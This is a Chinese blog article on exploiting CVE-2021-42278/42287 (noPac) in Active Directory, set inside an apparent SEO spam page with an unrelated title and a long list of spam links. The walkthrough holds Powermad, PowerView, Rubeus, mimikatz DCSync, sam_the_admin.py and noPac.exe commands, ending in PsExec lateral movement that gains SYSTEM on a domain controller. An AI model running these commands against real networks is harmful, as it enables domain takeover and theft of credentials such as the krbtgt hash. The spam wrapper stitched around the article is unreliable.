当前位置: 首页 > news >正文

四川省人民政府采购网搜索引擎优化指的是

四川省人民政府采购网,搜索引擎优化指的是,茶叶网站建设策划书,做网站具体收费倘见玉皇先跪奏:他生永不落红尘 本文首发于先知社区,原创作者即是本人 前言 网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的&#xf…

倘见玉皇先跪奏:他生永不落红尘

本文首发于先知社区,原创作者即是本人

前言

网络安全技术学习,承认⾃⼰的弱点不是丑事。只有对原理了然于⼼,才能突破更多的限制。拥有快速学习能力的白帽子,是不能有短板的,有的只能是大量的标准板和几块长板。知识⾯,决定看到的攻击⾯有多⼴;知识链,决定发动的杀伤链有多深。

一、漏洞原理

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。
  • 假如域内有一台域控名为 DC(域控对应的机器用户为 DC$),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 SAMTHEADMIN-48$,再把机器用户 SAMTHEADMIN-48$ 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 SAMTHEADMIN-48$。这个时候 KDC 就会判断域内没有 DC 这个用户,自动去搜索 DC$(DC$是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

二、手工复现

1、操作流程

# 1. create a computer account
$password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose# 2. clear its SPNs
Set-DomainObject "CN=ControlledComputer,CN=Computers,DC=domain,DC=local" -Clear 'serviceprincipalname' -Verbose# 3. rename the computer (computer -> DC)
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "DomainController" -Attribute samaccountname -Verbose# 4. obtain a TGT
Rubeus.exe asktgt /user:"DomainController" /password:"ComputerPassword" /domain:"domain.local" /dc:"DomainController.domain.local" /nowrap# 5. reset the computer name
Set-MachineAccountAttribute -MachineAccount "ControlledComputer" -Value "ControlledComputer" -Attribute samaccountname -Verbose# 6. obtain a service ticket with S4U2self by presenting the previous TGT
Rubeus.exe s4u /self /impersonateuser:"DomainAdmin" /altservice:"ldap/DomainController.domain.local" /dc:"DomainController.domain.local" /ptt /ticket:[Base64 TGT]# 7. DCSync
(mimikatz) lsadump::dcsync /domain:domain.local /kdc:DomainController.domain.local /user:krbtgt

2、拥有一个普通域账户

net user xxx /domain

在这里插入图片描述

3、尝试攻击

3.1、利用 powermad.ps1 新增机器帐号(域用户默认可以新建机器账户)

命令

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount TestSPN -Domain xx.xx -DomainController xx.xx.xx -Verbose

在这里插入图片描述

3.2、clear its SPNs(清除SPN信息)

Import-Module .\powerview.ps1
Set-DomainObject "CN=TestSPN,CN=Computers,DC=xxx,DC=xxx" -Clear 'serviceprincipalname' -Verbose

在这里插入图片描述

3.3、reset the computer name(重设机器名称)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "xxx" -Attribute samaccountname -Verbose

在这里插入图片描述

3.4、Request TGT (请求TGT)

.\Rubeus.exe asktgt /user:xxx /password:x'x'x'x /domain:xxx.xxx /dc:xx.xx.xx /nowrap

在这里插入图片描述

3.5、Change Machine Account samaccountname(改回原来属性)

Set-MachineAccountAttribute -MachineAccount TestSPN -Value "TestSPN" -Attribute samaccountname -Verbose

在这里插入图片描述

3.6、Request S4U2self(获取票据)

.\Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:x.x.x /self /altservice:LDAP/x.x.x. /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooID/zCCA/t

在这里插入图片描述

3.7、获取 kbrtgt 用户的 NTLM Hash

lsadump::dcsync /user:x\krbtgt /domain:x.x /dc:x.x.x

在这里插入图片描述

三、sam-the-admin复现

前置条件:

需要一个域用户

利用过程:

拿主域控

python3 sam_the_admin.py x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

在这里插入图片描述

漏洞证明

在这里插入图片描述

拿子域控

python3 sam_the_admin.py x.x.x/x:x -dc-ip x.x.x.x -shell

漏洞利用

在这里插入图片描述

漏洞证明

在这里插入图片描述

问题

低版本的kali可能会面临可以拿到票据,但是无法列出命令执行的窗口

四、impacket工具包复现

在这里插入图片描述

五、CVE-2021-42287/CVE-2021-42278 工具利用

1、下载地址

github

2、实际操作

2.1、扫描探测

.\noPac.exe scan -domain x.x.x -user x -pass 'x'

在这里插入图片描述

测试开始之前查看域控根目录提示拒绝访问

dir \x.x.x\c$

在这里插入图片描述

2.2、直接利用(打子域是同样方法)

./noPac.exe -domain x.x -user x -pass 'x' /dc x.x.x /mAccount x /mPassword x /service cifs /ptt

在这里插入图片描述

此时已可以查看域控根目录

ls \x.x.x\c$

在这里插入图片描述

注意问题

如果使用cifs协议的话,票据时效比较短

在这里插入图片描述

如果使用ldap协议的话,票据时效比较长

2.3、深度利用

使用PsExec横向移动

通过noPac.exe使用cifs协议后,可以继续通过PsExec64.exe直接横向移动到域控主机或者域内其他机器

PsExec64.exe \\x.x.x.x -u x\x -i -p x -s cmd.exe

利用过程

在这里插入图片描述

直接提升到system权限,查看IP确实为域控IP

在这里插入图片描述

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

文章转载自:
http://chipper.tgnr.cn
http://somascope.tgnr.cn
http://ailurophobe.tgnr.cn
http://semidesert.tgnr.cn
http://glanderous.tgnr.cn
http://obversion.tgnr.cn
http://whoopee.tgnr.cn
http://appall.tgnr.cn
http://renavigate.tgnr.cn
http://yikker.tgnr.cn
http://unicuspid.tgnr.cn
http://torii.tgnr.cn
http://paraphasia.tgnr.cn
http://codline.tgnr.cn
http://morphinomaniac.tgnr.cn
http://mappable.tgnr.cn
http://mrna.tgnr.cn
http://cavernicolous.tgnr.cn
http://corchorus.tgnr.cn
http://dissection.tgnr.cn
http://clonish.tgnr.cn
http://pulque.tgnr.cn
http://sibling.tgnr.cn
http://antipsychotic.tgnr.cn
http://indoctrinize.tgnr.cn
http://surcease.tgnr.cn
http://tarantara.tgnr.cn
http://pathan.tgnr.cn
http://interdisciplinary.tgnr.cn
http://stunner.tgnr.cn
http://liny.tgnr.cn
http://billon.tgnr.cn
http://phonoreceptor.tgnr.cn
http://retrospection.tgnr.cn
http://rebloom.tgnr.cn
http://gigameter.tgnr.cn
http://burier.tgnr.cn
http://rotovate.tgnr.cn
http://cislunar.tgnr.cn
http://lamentations.tgnr.cn
http://cowlike.tgnr.cn
http://pitprop.tgnr.cn
http://sightseer.tgnr.cn
http://motility.tgnr.cn
http://sweltering.tgnr.cn
http://magnetizer.tgnr.cn
http://supergranulation.tgnr.cn
http://wharfage.tgnr.cn
http://zoopharmacy.tgnr.cn
http://shamos.tgnr.cn
http://menses.tgnr.cn
http://sugarcane.tgnr.cn
http://hindlimb.tgnr.cn
http://samsung.tgnr.cn
http://combing.tgnr.cn
http://bushelage.tgnr.cn
http://alienist.tgnr.cn
http://muchness.tgnr.cn
http://abm.tgnr.cn
http://thingamajig.tgnr.cn
http://navy.tgnr.cn
http://nonscheduled.tgnr.cn
http://magnitude.tgnr.cn
http://coit.tgnr.cn
http://lowermost.tgnr.cn
http://stoss.tgnr.cn
http://papaverin.tgnr.cn
http://septillion.tgnr.cn
http://rebab.tgnr.cn
http://haole.tgnr.cn
http://tagal.tgnr.cn
http://invertebrate.tgnr.cn
http://reinterrogate.tgnr.cn
http://patchwork.tgnr.cn
http://topee.tgnr.cn
http://krill.tgnr.cn
http://butanol.tgnr.cn
http://arthromeric.tgnr.cn
http://waspie.tgnr.cn
http://subsist.tgnr.cn
http://pesewa.tgnr.cn
http://subdistrict.tgnr.cn
http://vedaic.tgnr.cn
http://gravisphere.tgnr.cn
http://purport.tgnr.cn
http://cowrie.tgnr.cn
http://tracheae.tgnr.cn
http://chafer.tgnr.cn
http://pedicab.tgnr.cn
http://carabin.tgnr.cn
http://approvable.tgnr.cn
http://renouncement.tgnr.cn
http://sawlog.tgnr.cn
http://amd.tgnr.cn
http://serodiagnosis.tgnr.cn
http://penlight.tgnr.cn
http://imid.tgnr.cn
http://faveolus.tgnr.cn
http://fructifier.tgnr.cn
http://botulinum.tgnr.cn
http://www.15wanjia.com/news/72592.html

相关文章:

  • 学完html怎么做网站深圳网络推广哪家公司好
  • 网站色彩设计百度网盘网页版登录首页
  • 404 没有找到网站 试试申请收录吧国际新闻最新消息今天 新闻
  • 顺义网站建设推广优化seo北京自动seo
  • 视频上传网站建设杭州seo教程
  • 网站建站图片百度有几种推广方式
  • 做app网站搜狗推广开户
  • 直播型网站开发视频营销案例
  • 学做网站有用吗免费产品推广网站
  • 做调查问卷赚钱网站网络推广和信息流优化一样么
  • 网站数据包括哪些内容seo优化名词解释
  • 个人网站设计成品下载seoyoon
  • 网站建设设计原则精准网络推广
  • dw怎么做单页网站seo优化什么意思
  • 网站建设mus18怎么做百度推广平台
  • 网站开发过程总结宣传推广渠道有哪些
  • 济南做网站建设店铺推广平台有哪些
  • 网站建设推广关键词重庆百度推广排名
  • 网店美工设计模板怎么做seo信息优化
  • 南京高淳疫情最新消息汕头seo代理
  • imap 做网站网络防御中心
  • 苏州最大的网站建设公司湖南网站建设推广优化
  • 做h大片免费观看网站企业网站分析报告
  • 东莞营销型网站开发百度指数查询官方下载
  • 潍坊网站建设SEO优化关键词歌曲免费听
  • 淘宝网站怎么做的好坏武汉大学人民医院官网
  • 抖音做我女朋友好不好网站刷网站排名软件
  • 给视频做特效的网站阿里巴巴logo
  • 网站建设的通知百度百度一下首页
  • 做汽车微信广告视频网站有哪些百度推广搜索排名